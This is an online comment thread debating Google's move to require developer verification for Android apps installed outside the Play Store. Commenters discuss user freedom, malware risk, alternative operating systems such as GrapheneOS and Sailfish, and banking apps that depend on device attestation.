Is the point of the warning to avoid liability or to actually inform the users? If you tell people everything causes cancer (instead of only saying when you've verified it doesn't), soon enough they're going to stop caring when you say stuff like, "don't eat asbestos, that causes cancer". I think a "checkmark" system makes more sense—for verified accounts/developers, put a checkmark near their name, and for unverified ones, have nothing. There's no reason to cause alarm when 99% of the time the alarm is misfounded.
You just have a flawed definition of success.
By allowing people to shoot themselves in the foot after ignoring a unmistakable warning, you are helping teach the foolish to be more careful in the future. Making mistakes is the best way to learn something.
People who just ignore big banners will just tell you that "they have been hacked", as if getting hacked is like a weather phenomenon. They won't even connect them getting hacked with the big red banner.
If they even notice, that is. It's just as possible that they play open relay for a year before they move to a new phone because their battery is always dying so fast for some unknown reason.
Right, but the whole point of warnings is to make people be more careful on average than they would otherwise be.
What reason do you have to believe that this goal wasn't achieved?
The end result is people just buy iPhones and perceive them to be more secure.
https://sideloadly.io
Who cares? It's their choice.
Fuck em. If you ignore a warning, let nature take its course. We don't need to child-proof everyone's home.
Yep, bye Newpipe, you have been wonderful.
I've often lamented at work that we lose freedom at the guise of "security".
Security and Intellectual Property (IP) protection could both be true. Google has a big enough reason to make it happen now.
In a perverse way it's not that protecting Google's IP is making us safer. Yet it, strangely is.
There will always be tangential business aims that are designed to be satisfied at the same time as the consumer benefit.
To be fair though, this strategic duplicity is a technique Apple has used since Jobs; so it's not as if Google used the approach first.
It's such a simple and effective solution that could be implemented overnight and 'help to cut down on bad actors who hide their identity to distribute malware, commit financial fraud, or steal users personal data' tomorrow. Mission accomplished, internet saved, and everyone's happy just like a fairy tale out of the early 2000s.
That was never the real reason. Security and "think of the children" to take away rights are the two oldest plays in the playbook.
Do you like losing money?
> Do you like losing money?
what about us losing control over our own devices? do you like losing control over devices you paid for?
People have no "control" over their own device if they have malware on it. The weirdo incoherent tech-chauvinism of "control" and "freedom" evidenced all over this thread is one of the most obnoxious trends on HN.
> People have no "control" over their own device if they have malware on it.
You are inadvertently reaching the true core of the question. The ones who have "control" over a device, are those who control the software running on it. Be it the bad guys (in the case of a malware-infested device), a giant corporation (in the case of a locked-down device), or yourself (when you can install and replace any software you want on the device).
Their point stands, though. The vast majority of users do not have either kind of control, so it is a very small concession to them in favor of securing their device against a malicious actor taking control.
I think this is what commenters here are missing. I agree politically with the notion that people should own their devices (having full control), but the reality is not and will never be that the majority have anything but the illusion of control. Meanwhile, as these devices become increasingly necessary for people to exist at all, and the data they store becomes increasingly sensitive, the ability to theoretically install your own software is completely irrelevant compared to the risk of anything bad happening.
Things that would be compromised if my phone is compromised: All private communication, bank accounts, stock portfolio, medical history, driver's license, criminal record, sexual history, grocery habits, all communication between my government and me, real estate deeds and mortgages, two-factor authentication keys, and I suppose my Steam library.
Like, that's a lot. People can lose their homes. The stakes are unfathomably high here.
The horse is driving the carriage here.
Why and how is this protecting against a malicious actors? You can't skip that part.
What about malicious actors that are entrenched, like Meta and even Google? Does this not strengthen them?
It's pretty clearly an attempt to establish a clear chain of trust. If you are making a malicious app, the first thing you want to do is hide your identity. It is incredibly important that users can know whose code they are running, and who is responsible for the behavior of the malicious app that destroyed their life.
I can't say whether the specific implementation will be an improvement, but that is clearly the intent.
Meta and Google have not shown themselves to be "malicious" in sense that is relevant to this discussions. Whatever shady practices they may or may not have is very likely entirely within the law, and they are strongly motivated to protect people's personal data, because they will not have users (i.e., their product) if their platforms are insecure.
Meta has been shown to be malicious, up to an including violating permission controls to exfiltrate cookies from the browser with the facilitation of an android app.
The only reason, and it is the only reason, you do not view Meta as a malicious actor is because they've told you many times they are not.
Most Meta and Google products could be described as keyloggers or spyware. Many break permissions expectations - for example, Google apps have special privileges that allow them to circumvent some permissions on Android.
In addition, both Meta and Google products are primarily ad driven, with the majority of ads being scams. Again, virtually identical to other malicious apps.
Is any of this legal? Maybe, maybe not, you signed a EULA. But if all it takes is a EULA, then most android malware is not malware, and we're back at square one: play protect will not do anything.
And, to be clear, this is intentional. It is not Googles intention to squander malware because they rely on malware. No malware on Android and they go bankrupt.
It is their intention to further extract value out of the Google play store by leveraging their mandatory 30% cut. As well as making Android a more locked down platform and thereby more attractive to advertisers and DRM distributors.
I'm sorry, but I don't think it's reasonable to equate the shady business practices of organizations like Meta to crypto-blackmailing malware.
That's just one type of malware - spyware is also malware.
The only difference between a malicious app exfilitrating your cookies through an exploit and Meta exfilitrating your cookies through an exploit is you trust Meta won't use your cookies to impersonate you, steal your browser sessions, drain your bank account, etc.
But that's just pure trust. Meta could easily have a leak - Experian had a leak and people lost millions of dollars.
Exactly.
"Free" devices exist. Linux computers. Linux phones. No codesigning, minimal sandboxing, none of that "malevolent" stuff from macOS/Windows/Android. Knock your socks off. You have a choice. Ideologically wanting everyone's devices to be like this is not sensible.
This isn't like anticompetitive behavior (bundling, lock-in, fees) where "you have a choice" is irrelevant because corporate power should be minimized and competition and consumer surplus should be maximized. Tradeoffs between security and nerd-fantasy "freedom" are valid.
I still remember that piece about the tween girl getting her nudes exposed because of a RAT. True "freedom" with technology, for non-nerds, means being able to use technology to pursue your passions, learn singing, fashion, dancing, without having to be terrified that this computer might destroy your life. That's "freedom" for 99% of folks. But the high-empathy folks here will respond "user error", "personal responsibility", "you should have known not to click that". You aren't entitled to be care-free, to have a life, to pay no attention to boring nerd stuff. Become a dead-inside geek like us, you bottom-quintile person, or else.
Would you give your car keys to a company, in fear that a thief might steal it?
Of course i care that i lose money.
I dont care that google loses money.
Yet you expect them to act in a way that would make them lose money?
I don't expect them to do so, but I will make them
You can just use the browser an ublock to browse youtube
Let's see for how long this remains true. Every step they get closer to making you watch what they want, instead of what you want, it becomes more likely they will try to even prevent you from viewing videos when you use uBlock Origin.
The worst part is the Orwellian opening sentence they start with in their blog post [0]:
> You shouldn’t have to choose between open and secure
2+2=5
Truly the end of an era. I've spent nearly two decades buying Android phones because of a single checkbox in settings that let me have the freedom I consider essential to any computing device that I own.
In a way, it's liberating, I've missed out on a lot from the Apple ecosystem because of that checkbox. Maybe finally I can let go of it now the choice is out of my hands.
[0] https://android-developers.googleblog.com/2025/08/elevating-...
Very much my exact feelings. I had the first Android phone ever and even wrote my own APKs and enjoyed the freedom of the mobile platform that let me install my own software. But it's been close to 20 years and maybe it's time to check out the other side, as much as I despise Apple's locked down ecosystem.
I'd sooner get a Chinese phone that isn't "Google-certified" than reward this behaviour by giving $1000+ to the DRM OGs at Cupertino. Neither Apple nor Google are protecting users against the alleged data-stealing evils of Tiktok, so how exactly are they providing any kind of "user safety" by throwing up fees and red tape for small independent developers?
I'm also completely open to this. Google just made being not Google-certified a feature.
Is there a list or other easy way to find out which phones are not Google-certified going forward? Is it purely a country specific thing or are there (and will there continue to be) mainstream manufacturers with non-certified phones?
I'm also fine with sticking to older models. Never seen the point of having the latest and greatest (aka: pointless) feature anyway. Does certification only apply to new hardware or do manufacturers back-port it?
I'm pretty sure "Google-certified" is just the latest term for "has signed a contract to ship the proprietary Google parts of Android". (Google's blog post about this change links to a page which calls it "Play Protect certified", and this page says that all devices that ship Google apps are Play Protect Certified: https://support.google.com/android/answer/7165974?hl=en )
Amazon's "Kindle" tablets and TV devices famously do not ship Google apps, and sometimes you see restricted devices like the Rabbit R1 that just use the open-source parts of Android. But outside of China I don't think you can easily walk into a store and find a non-Google Android phone.
I don't think phones ever officially lapse out of Play Protect certified status -- the Nexus One, a phone from 2010, is still listed -- but presumably it'd be possible to find a phone old enough that it won't be able to download whatever Play Services OTA update they'll use to push this change.
Maybe it is time to try Jolla as next phone:
https://jolla.com/
Just a note for readers that the Jolla C2 cellular modem only supports European bands, so if you're in the US you're out of luck on that front until they release a new model.
Jolla is trying to release a new model in 2026: https://forum.sailfishos.org/t/next-gen-jolla-phone/23882
If there's enough interest in US, then they may release it there, too.
Oh... I somehow missed this reading for 15 minutes through the site. Thank you!
Yes, I was checking this out! Sailfish with Android compat seems very compelling. The videos I saw on youtube showed a bit less polish than I'd prefer, but I'd be OK with that. But then I read up on the manufacturer they partnered with. Reeder, I believe? I ended up looking up some other devices they made and there seems to be build quality problems...I haven't seen reports like this for the Jolla C2, though, so I still might be tempted to purchase one just to see how it drives. Thanks for the recommendation!
Sailfish supports a few Sony Xperia phones, https://docs.sailfishos.org/Support/Supported_Devices/
Name the price and the Chinese factory will make it for that price and turn profit. Want a phone for 10 USD? No problem dear!
I used it as my first phone some 10 years. I type this message on one. I like their perseverance, but the truth is it's declining in practical usability.
Edit: In EU, so (lack of) bands are not an issue for me.
The only reason to be surprised by this sentence to associate this corporation for the cool "Don't be evil" Google of 25 years ago.
But in 2025 Google is some kind of IBM, Oracle blob with here a middle age MBA woman trying to gas-light you into an orweilian world she is paving for an awesome remuneration.
Also notice they do not say "open source" once in the post... now it is just "open". It is "open" but not your phone anymore.
GrapheneOS will put it back into your hands.
GrapheneOS are living on the mercy of Google by the way.
Also the device vendors. Because it requires a bootloader unlock to install. And device vendors aren't exactly friendly to consumers.
If Google tells the vendors to jump, they ask how high.
Google is the device vendor. GrapheneOS is only available for Pixels.
So far. Apparently they're in talks with other vendor(s).
As opposed to Android, which is... not living at the mercy of Google? Wait, that's not right.
People say this same shit about Firefox. "Oh they rely on Google for revenue! Jump ship jump ship!"
Yeah, and what about Chrome? How much does Chrome rely on Google for revenue? Its got fucking Google in the name.
"Which devices are supported?"
follows: list of Google devices - great, but I don't have Stockholm syndrome
This is really bad. I think that most people on HN will agree with that.
The problem is that most normal people (HN is not normal - mostly for the better) don't even understand what sideloading is - let alone actually care.
How can we fix this?
(aside from making people care - apathy enables so many political problems in the current age, but it's such a huge problem that this definitely isn't going to be the impetus to fix it)
This certainly won't solve the problem, but I would at least like to banish the term "side load", which is a kind of Orwellian word that takes something everyone used to do all the time and makes it sound obscure and a bit nefarious. Maybe we, the tech literate, can start calling sideloading a "free install" or something. When asked, we can clarify that the 'free' stands for both freedom, and not paying middlemen 30%.
I really don't understand this war on language that is so prevalent in tech circles. There's a bunch of these like switching git branches from "master" to "main" or "blacklist"/"whitelist" to "allowlist"/"denylist" and I have yet to see a single problem that all of this term shuffling has actually solved.
If it weren't effective, large businesses and interest ("lobby") groups wouldn't spend millions on trying to establish certain words.
Calling it "sideloading" instead of "installing" software successfully cements the notion that it is somehow not a completely normal thing to do. That's problem solved for the Googles and Apples of the world.
See the history of "jaywalking".
True, but on the other hand the meaning of words often follows usage rather than the other way around.
There is no choice of words that will make it normal to install mobile apps from anywhere other than an app store. Whatever word we use will take on the meaning of doing something unusual.
"Sideloading" doesn't have an inherent or deeply ingrained negative connotation. I don't see a reason to try to change it.
> "Sideloading" doesn't have an inherent or deeply ingrained negative connotation.
Let me just "sideload" an app onto my laptop...
Does that make sense at all? "Sideload" and not "install"?
It's usually pushed by people who want to feel "modern" and "proper". It doesn't have any value added, never helped anyone other than people who pushed that.
The curious thing about the word "slave" is that it originates from "slavs" i.e. people living in slavic countries, who were forced to slavery, yet we aren't freaking about that (I'm a slav by myself), it's just a word.
This is a very hot take that I've never seen expressed before. The subtle use of words has a major impact on society and the people in it.
There are societies, however, where words aren't (shouldn't be) treated emotionally, like engineers and scientists. Engineers put priority on ease of communication and clarity. We just do the job, we didn't ask for DEI lectures. You want to be included - show your skills. As simple as that.
Apples and oranges. Blacklist→allowlist is 2010s social justice virtue signalling thing. Sideloading→installing is about a word that is scary to normies vs a word that's completely normal and neutral.
See the history of words such as "jaywalking" or "carbon footprint" and how their usage cements the respective ideas.
It's not an apples and oranges thing, it's the same practice of changing one term to an another because someone out there chose to believe that these words are somehow so powerful that they're pushing away swaths of people. You have no way of proving that "side loading" somehow scares away people because such proof does not exist.
It’s modern tech sycophancy. Meaningless change that serves no one, but the ones pushing it. They get to say they did something to “fight” some sort of inequality when it’s all just performative. Worse, in the examples you gave, it draws attention away from real issues to fight a culture war that was kind of already won years ago.
Words have nuanced meanings and emotions attached to them, and people take emotional biased actions based on them.
Because for most people hearing the term is the only education they get about the concept.
I save two keystrokes typing "main" these days so I'm happy. Also, words change from time to time, life goes on.
This is a great point. Not sure if it’s possible, would be great if there was some way to reclaim the notion of installing software as a general practice, regardless of whether a computer is “mobile” or “desktop”.
Like people still download software packages from the web on Windows, MacOS, and Linux… right? Maybe hard to grasp for the kids that grew up with tablets with no notion of a file system, idk
I call it "direct install" personally. It's how you are supposed to be able to install programs, directly from the source.
If anything, it's the playstore and appstore which are side channels.
I think of it as manual installation, since I also have to manually update it. The app stores automatically install and update it (they find the appropriate APK for my device, download it, run the installer, and do the equivalent each time a new version is released).
This is a software limitation of the device, technically there's nothing preventing the app to auto-update like on Windows.
We could also imagine a mechanism to provide an update URL in the app metadata. The OS could query this URL periodically to check for updates.
So it's still a direct install, it's just that direct install support is limited on phones.
This is a good term, as it avoids the libre/gratis confusion as well.
Direct install isn't true either when you think about package managers like Fdroid, Epic store, etc. They are about as indirect as the official stores. Perhaps you should try 'user loads' for them and something like 'officially blessed loads' for the play and app stores. (I hope the latter is offensive enough to let the users know that it's the corporations in control)
Focusing on "stores" is part of this problem in the first place.
It's one of those seemingly innocent UI and communications changes that causes most users to develop a wrong mental model that obscures what's actually happening.
F-droid isn't actually installing the app. Neither does Play Store or Galaxy Store. Nor does Steam install your games on PC. People think they do, because the store fronts take over informing about installation progress. This little UI change alone - taking over the installer's progress bar - makes people develop bad mental models.
Direct installation is a great term IMHO. That's what you do when you download an APK onto your phone's file system, and then use e.g. file manager app to find that APK file, and run the system's package installer over it.
All F-Droid or Play Store or other stores do is to automate the "find the right APK" and "invoke installation" parts.
I thought that was the default understanding. That's one of the options you have to choose in many installers. For example, an option exists to install the software over ADB from within Android (eg: Shizuku). So, one of the other options you get is "install using system package manager" or something similar. In fact, that was the only method that worked for me until recently.
> When asked, we can clarify that the 'free' stands for both freedom, and not paying middlemen 30%.
Every time you have to clarify, it’s another opportunity to lose the asker. It’s not a good strategy to use a term we have to keep defining or that people may misunderstand. Stallman and the FSF continue to make that mistake and we have had decades to understand that’s a bad approach.
Call it something else, like a “direct install” or something better. You can still have a deeper meaning to it (“direct because it bypasses the App Store middleman”) but make it something people can understand fast. You can’t fight marketing with ideology alone, you have to beat them at their own game.
I propose "load" or "install".
And while we are at it, "Application"
I'm so used to installing via F-Droid or straight APKs, installing something using the Play store feels weird and hack-y. If anyone's doing the "side loading" I think it's Google :P
People install games from Steam or the Epic Store on their computers without Microsoft preventing that or taking a cut all the time (not for lack of trying. I know). But somehow, in the mobile world, we went with total lockdowns and platform extortion as the rule?
The irony of that iconic Apple 1984 add .
> People install games from Steam or the Epic Store on their computers without Microsoft preventing that
microsoft wishes they could have the level of platform control that google/apple on mobiles have.
It's pure luck that the IBM-compatible PC was not locked down and restricted, because at the time IBM had not thought of it as being important. When it became clear that it was a lost profit opportunity, the cat was already out of the bag and so IBM had no choice.
Microsoft repeated the same "mistake". But apple learnt, and google also from apple.
They tried with the PS/2 MCA architecture, but naturally everyone ignored them.
Nowadays Microsoft could easily do it, they aren't fully into it, because they managed to botch themselves the whole WinRT/UWP and Windows 10X transition, had they made it in a way that most Windows developers would join the party, and the outcome would look much different.
Windows 11 sandboxing already requires MSIX and store distribution to be fully enabled, they only have to slowly keep turning the knobs on Windows 12 in whatever form it shows up, eventually.
That's also because Microsoft has their own game / app store and video game monetization scheme in the form of xbox live, which is integrated into Windows installations.
I don't know if it's actually used much much on windows, but iirc xbox live is pretty popular.
Wrong analogy, as you need to register at Steam to sell a product. To share an executable for Windows, you don't. It's also not about taking a cut.
Do you know that Proton is developed as a countermeasure against Microsoft's possibility of vendor locking? It is already anticipated that little or more Microsoft will want that cut.
We're at late stage capitalism, where enshittification occurs at alarming rate.
I agree that this is a horrible step in the wrong direction but in terms of the solution I have a different take.
I don't think that making "normal" people "care" about sideloading is the answer, because a) it's impossible and b) political change doesn't happen through "normal" people anyway, all political and regulatory change is driven via smaller and motivated groups of people.
The problem is fundamentally that there's a duopoly on mobile OSes that has tons of market power and if they want to dictate a change like "you can no longer install unapproved software," they can just do it.
The solution is to walk away from that duopoly, to suck it up and just stop using their products. We fortunately are able to do this (for now) on desktop and running Linux in 2025 is better than it's ever been, and more people are doing it.
To get Linux or some alternative on phones is a big task, and if you make the switch you're going to lose a lot. But most of what has no desktop equivalent is addictive social media garbage that you should get rid of anyway. The biggest thing I'm concerned about is the state of banking and OTP/2FA.
I think we need to fight for universal electronic access to the financial system as a right without a need for gatekeepers like Apple or Google. In some countries it's already the case that at many businesses you must use your phone to make payments, cash is gone, cards are dying, and you must therefore agree to Apple or Google's rules to use your phone. This is truly how freedom and democracy will die if we allow it. This is way bigger for "normal" people than technical concepts like sideloading. People on the left should inherently understand the importance to liberty of having the right as an individual to buy and sell without some megacorp's permission. For people on the right, well, remember the Bible's "Mark of the beast..."
Secondarily we need to fight for the enforcement of anti-trust laws, which half of HN doesn't seem to even know exist, or feels are in some way unfair, even though they are the cause of these problems. Government needs to reach in and rearrange markets that are dominated by one or two players, it needs to forcefully restructure those companies so that they lose their market power and can no longer force citizens to obey their will. We've done it before, such as ending company towns where you were forced to use the company's scrip at the company's shop to buy living essentials. It's worked, we need to do it again.
I can do banking and otp at home with a 100 Euro phone that I use only for that. FB, TikTok, Instagram, etc, neve ever installed them on my devices.
The problem is that I want to make calls, SMSes, use WhatsApp and Telegram, Maps and OSMAnd, NewPipe, VLC, Syncthing and a few others on the phone I carry with me.
And to make matters worse I don't want a huge, thick and heavy brick like every Linux phone I read about. I'm on a Samsung A40 now and it's not easy to find a replacement with similar size and weight.
How are you going to buy things when you leave home?
In the country I live in, which is a highly online and highly mobile first country, a sizeable minority of businesses no longer accept cash. A few no longer even accept cards.
At these businesses, there is only one way to pay, which is to pull out your phone, and initiate a transaction through your mobile banking app, you scan a QR from the vendor and approve the transfer.
Mobile banking is so ubiquitous that often these businesses don't even have signage outlining their payment policies, or it's tiny and hard to find.
Some banks do not have an online banking website, the only way to access your money and make a payment is to use the Android or iOS app on an unrooted device, or physically go to a branch or ATM.
You go somewhere, you buy, at the end of your meal or whatever they tell you phone only, no card, no cash.
It's prevalent enough that being outside of your home without an unrooted Google or Apple operating system physically on your person is a significant impediment to buying basic things, like a meal.
Apple and Google will, through a variety of technical changes, seek to make this the case in all of the world, and in some countries they'll succeed. So the important question now is: how will it go down in the next 10 years in your country? How far under their control is your society going to fall?
Banking, money and payments. Limiting those in the name of security is how they will get you on everything else.
They will take away cash and cards and there will only be payment apps, on approved secure OSes which you can't "tamper" with (aka install "unauthorized" software like VLC or a Youtube alternative on), or else the payments apps stop working.
They will take away SMS OTP and there will only be TOTP, because it's more secure. Then they will replace the OTP with a facial scan, because it's more secure, people were being social engineered into giving someone those numbers over the phone, etc.
This is all in process. They don't even hide it, they just say it's for security. It is already happening in countries that are highly online and highly phone-centric.
> You go somewhere, you buy, at the end of your meal or whatever they tell you phone only, no card, no cash.
Note that this is likely illegal, even though I'm sure it's very common in certain places, and arguing about legal tender laws is not how you want to spend every meal of course.
But, in principle, in most countries at least, businesses and private citizens are obligated to accept the country's currency to discharge debts. They're free to have an upfront no cash policy, and refuse to do business with you if you try to pay with cash, for example making you leave all your groceries at the checkout counter. But if they claim that you have a debt to them, such as a meal you've already eaten and now must pay for, they must accept any form of the country's currency, such as cash, as a means of you paying that debt off.
It's not illegal where I live. Besides, laws can and do change. As an example of one common misconception: I don't live in the US, but there is nothing in the Constitution, nor in federal law, guaranteeing that you have the right to use cash.
That battle will likely come down to the likes of Apple and Google fighting against one state government at a time. Many will fall.
> I don't live in the US, but there is nothing in the Constitution, nor in federal law, guaranteeing that you have the right to use cash.
They have the right to use cash, even if the vendor chooses not to accept it.
I learned this by trying to pay a fine with coins, which are NOT legal tender like cash is.
https://en.m.wikipedia.org/wiki/Legal_tender
> Each jurisdiction determines what is legal tender, but essentially it is anything which, when offered ("tendered") in payment of a debt, extinguishes the debt. There is no obligation on the creditor to accept the tendered payment, but the act of tendering the payment in legal tender discharges the debt.
I'm sorry for your loss if the Internet ever turns out not to be as resiliant as we thought.
The modern banking system is entirely built on the Internet. Every electronic transaction is verified by Internet calls, and in the past Internet outages have made payment in some cases literally impossible.
> I can do banking and otp at home with a 100 Euro phone that I use only for that.
That doesn't solve anything, though. If Google revoked your Google account and refused to open a new one, you'd be SOL - you'd either have to buy an iPhone, or move banks until you find one that gives you a physical TOTP (since many just have apps already, but those apps don't run unless downloaded from the Google or Apple stores).
Telegram's clients are open-source, and there's plenty of non-official ones, but for other proprietary messengers you're SOL.
Hard to believe at this point that these messengers used to use open standard protocols, and you could send messages from Google Talk to Facebook once.
> I don't want a huge, thick and heavy brick like every Linux phone I read about
While I understand your point, are you even going to notice after a couple of weeks of daily driving? Let’s not underestimate our ability to get used to things.
You could get used to a lot of stuff. One of my friends is used to using a fake leg.
> heavy brick like every Linux phone I read about
So you didn't read about Pinephone? Also, fighting against something requires efforts, you know.
We need another os in the market. A duopoly just isn't competitive enough. Too bad the cost of entry is so high.
I agree with you idealistically, but practically, creating an entirely new mobile OS with market share competitive with the existing two is an unbelievably massive challenge. It'd probably be just about as easy to get people to care about sideloading in the first place.
Remember how Android used to be an open source project and how we had Google backing AOSP? I think it's time we we maintain the latest fork and just use that instead.
That only solves the OS side of things, but doesn't give you a good ecosystem. Unfortunately and increasingly bigger number of apps rely on Google services and attestations, meaning you need a Google approved software to run them.
I wonder if it'll promote having multiple devices, fragmenting into multiple ecosystems. One for the approved walled garden, another for uses that can exist without relying on those services (anything that doesn't need payments?).
Another approach I wonder about is single task specific hardware, like a GPS unit or media player, what tasks have developed over the past ~18 years within the mobile ecosystem and are mature and not rapidly evolving enough that they can be unbundled to their own devices, and desirable enough to stand alone that there's a market for it.
that's highly inconvenient, most people won't bother with that. The ~1% though will certainly do that, with black market apps and jailbroken OS will rise.
That's not the problem. It's the bootloader locked hardware and the TPM anti-"tampering" security verification that more and more apps require.
It's not just the OS makers. They're also responding to the demand of companies and governments to control their users through them. They will not say "no".
> It's not just the OS makers. They're also responding to the demand of companies and governments to control their users through them. They will not say "no".
I don't believe that entirely. For example, how much safer is a banking app protected by play protect, running on an OEM ROM with tonnes of OEM/Google/Meta malware, compared to the same running on Graphene, Lineage or Calyx? I think it's the other way around. Google or their associates convince either the banking firms, or more likely the security audit companies that the play protect (safetynet or whichever latest flavor) is an absolute necessity for security on android. In the latter case, those security firms will give the developers a checklist to follow, which will include an item on enabling that API. It's unlikely that so many banks will choose them on their own accord like that, even if a bunch of them insist on Google providing it. I have even seen banks disabling the API in their apps through updates. And they also don't have any problems with their web applications that don't have anything similar to remote attestation. Besides if you look closely, it's in Google's interest, not the bank's interest to enable these APIs. Such apps will only run on the OEM ROMs, making the open source and custom ROMs somewhat untenable.
I'm not sure banking firms need any convincing that attestation makes their systems more secure, as it is true. If the only way to interact with the app is via a human interface, that means you can't have scalable fraudulent traffic hitting your services. Without attestation, someone could MITM the app calls, and then automate it away.
Or when you do, you can then link it to specific group of people based on the identifiers you received from the attestation.
Is AOSP no longer a thing? I've been using GrapheneOS for a few years and admittedly lost track of AOSP, I just assumed it was still a thing despite Google generally wanting to control more and more.
Google now only drop through source code after a release, not during development. Also, much AOSP functionality has been moved to Googles Play Services which is closed source.
The problem is moves like this will keep happening, since people don’t have much choice. Unless we bring up a societal trend of dumb phones.
We used to have strong consumer protection advocates on both sides of the Atlantic, and those consumer protection advocates used to influence laws and regulation which forced corporations to stop doing anti-consumer stuff like this. Those days can return with enough organized labor and solidarity among the working classes.
Yea, but you will need to organize offline because chat control will catch your terrorist messages and report you to the police. And make sure to leave the phone at home so they cant see all the phones meeting in one spot. But how do you go to the location then? Public transport uses the phone for payment, your car uses the phone as authentication / key.
Its a very slippery slope that is very close to being implemented. In a way, we can hope that the current political climate somehow decimates the American corporations that control the systems, but it looks more like IBM during WW2 supplying counting machines to the Americans and to the Germans and everyone else.
The phone platform is officially lost at this point, there is too much political pressure to control it. We are going to increasingly need to rely on sneaker nets, small mesh networks, and home made "illegal" communication devices. The internet will continue to exist, but it is going to fracture more and more with the political wars that are happening at the moment.
I had to do some light research on Wiki, but it looks like Firefox OS was supposed to fill part of this void. Sadly, it was not successful, and the project lost funding and support from Mozilla. I think if Mozilla could not do it, it seems hard to imagine there is an open source org with more talent and money than Mozilla who can make it work.
> I think if Mozilla could not do it, it seems hard to imagine there is an open source org with more talent and money than Mozilla who can make it work.
I don’t believe that at all. Mozilla has been on a string of awful decisions for a long while. They start dumb projects no one asked for or wants all the time and abandon everything swiftly, even the good ones. Look at Rust and Servo.
Firefox OS barely lasted two years between release and discontinuation. It never even stood a chance for most people to even have heard of it or tried it, let alone be successful.
It's not necessarily that Mozilla could not do it. Just look up Mozilla's revenue sources.
I'm not downvoting you. But the limiting factor probably wasn't the funding at all. It was the competence and marketing. At some level, they had to deal with the hardware stack - which IMO is a very hot mess right now. The only reason why it works for Android is because the OEMs are also in on the game - just like how it was (is?) for the Windows machines.
Sailfish tried and failed. Various Linux distro also tried and failed even harder. Consumers at large just aren't interested in anything other than iOS and Android.
Consumers are interested in everything new.
The problem is - linux (outside on server land and maybe SteamOS) is everything but (regular) user friendly.
When people buy a new phone the expect a smooth experience without any major inconveniences and uniform UI. And apps. Lots of apps. Full of features and mature UI. Linux mostly have none of it.
The Linux experience on a decently powerful mobile device (i.e. not those open-source phones that perform like a 2010 smartphone) is perfectly fine. I find the Plasma experience to be a little lacking, but the Ubuntu experience is good when you find a phone UBPorts works on. Phosh (GNOME) works better on mobile than it does on desktop for a lot of things (multitouch touchpads come close to mobile in terms of smoothness).
Consumers didn't pick up Windows Phone or HarmonyOS enough to matter either. Access to the two common app stores is crucial for user adoption even when the UI is good.
I wouldn't say "Sailfish failed". It's still well alive, mainained and useable. All they need is some more traction and a proper business case
Users need a new feature or a new power to justify transition. Learning of new OS is not free. Someone should reuse Android UI, but upgrade the OS to full Linux.
Mimicking the Android UI and UX is very trivial. The hard part is getting the OS to run on the mobile device in the first place. On top a tonne of custom drivers, it also requires way to either get accepted by the OEM locks or a way to bypass it entirely. This is getting harder by the day even with Android custom ROMs.
Valve has managed something similar with SteamOS as well as Proton built on Wine to make Windows games run on Linux, performing as good as or often better than an actual (modern) Windows install.
SteamOS isn’t too far from a mobile OS.
It's the mobile hardware drivers (such as for the modems and 5g etc) that likely roadblocks - these hardware manufacturers probably have some sort of OEM agreements, and so cannot opensource these drivers for all devices.
I would wish that mobile devices' specs and hardware drivers are all available, so that i am not dependent on the manufacturer supplying a compatible OS.
That will only work as long as Microsoft feels like ignoring it, and they are already starting with something similar to how netbooks were killed in the end.
Valve will learn the OS/2 lesson, by not fostering a proper native Linux ecosystem.
They are doing that with their own games and tooling, look at CS2. But Valve can’t force all other developers and publishers to do the same, they can only show the way, which they do.
There's already open source OSes that run on phones that aren't based on Android.
Off the top of my head there's a Debian based one, a Fedora based one, webOS, PostmarketOS, probably others. Wouldn't be that difficult but yeah, the cost of entry is still probably tens of millions.
It’s like uber, doordash or carvana, you can’t fund a huge project like this without free money. ZIRP is the moat.
use a fork. GrapheneOS is amazing. I feel like I own my phone, I trust my phone, and it obeys me, for the first time in a decade.
unlock. flash. spread the word. use the fork, Luke.
Sadly that's not always (or won't be soon) an option. I recently had to buy a new phone so that I could run the 'updated' banking app that requires attestation to run — I was running google free Lineage.
Without attestation, banking apps stop working and without a banking app, you are locked out of modern life in many ways.
This latest Google move makes it impossible to run an attested Android without the sideloading limitation. That means that you'll have to choose between GrapheneOS and using your banking app.
I'm sad to say that I've already had to make that choice :-(. I feel that I was coerced into it.
Why didn't you just change banks?
I'm in the same boat as OP. Used GrapheneOS until Google Pay was enabled in my country. ALL banks then killed their proprietary NFC wallet apps in a month and told users to use Google Pay. I switched to using a Garmin watch for a while.
Then bank apps themselves started giving me warnings that my device was insecure (the irony) and I got increasingly frequent KYC questionnaires coming my way. One of the banks also disabled access to some money transfer services, which I suspect is because of some flag on my account in their system.
I had to ditch GrapheneOS at that point. There are simply no banks that I can switch to.
That's wild. Thanks for the info.
Ah, yes, just use this small project fully dependent on Google and that requires you to buy exclusively Google phones. This is the way.
This is also no long term solution. GrapheneOS can't diverge from Google android to much, otherwise modern apps stop working. And Google will definitely go for alternative roms next.
I could've sworn GrapheneOS or LineageOS people were in talks with manufacturers to deliver devices that run one of those OSes out of the box. I wonder if there were any updates on that front
That would be a great step in the right direction. More people using it means more options down the line.
Its soon time for me to get a new phone, but buying a Google pixel to flash GrapheneOS seems like paying the bully.
If they do it, I will switch ASAP.
I use GrapheneOS, but it doesn't solve this class of problem. If your {banking|taxi|cash} app doesn't pass Play Integrity API running under GrapheneOS, you are out of luck for those apps. There are different levels of Play Integrity pass, and GrapheneOS does not pass the highest level of them, so some apps may work, and others not. I don't want to use Google Pay, but I couldn't if I wanted to on GrapheneOS, and I've seen people in this thread saying that where they live it can be difficult to pay for something any other way.
In my case, I've been working on fixing it by doing side work porting apps to offline-first Linux handhelds. With AI it is not hard nor time consuming. You can make personal versions of anything that adds personal value.
The idea that you can hold the beggar bowl out and company mommy will have pity is not realistic. Creating your own ecosystem and cross-fertilising with other liked minded people that is tailored to your approach is far more feasible now than we realise.
> most normal people... don't even understand what sideloading is
Actually, they understand it just fine. The concept is very simple too.
Before this change you could install Android apps without registering your passport/driving license with Google.
After this change you will have to tell Google your real name and home address to install anything on your Android device. This is all. It can take a convoluted form of registering Google account or a more direct form of sending Google your identity documents to confirm "developer privileges". But you will no longer be able to use non-hacked Android devices to install anything without doing those steps.
P.S. I recall that some people still believe that they can create Google account without giving Google your personal details, phone etc. This is simply a self-delusion. If Google does not immediately demand you to cough up a phone numbers under pretense of "suspicious activity", that's because they already know who you are (you probably told them yourself by registering another account elsewhere).
No, "burner SIM cards" aren't real. This is just another form of self-delusion, — this time architected by US security agencies. You don't become anonymous by using those, you become watched.
